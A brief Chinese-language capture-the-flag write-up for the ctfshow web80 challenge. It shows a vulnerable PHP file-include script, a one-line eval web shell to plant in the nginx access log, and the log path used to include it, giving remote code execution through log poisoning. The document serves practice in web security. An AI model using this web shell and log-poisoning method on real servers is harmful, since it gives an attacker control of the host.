文件包含：包含日志完成getshell

ctfshow：web80

题目：

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

如果你的命令是一句话就完成了getshell：

<?php @eval($_POST['pwd']) ?>

日志路径：

?file=/var/log/nginx/access.log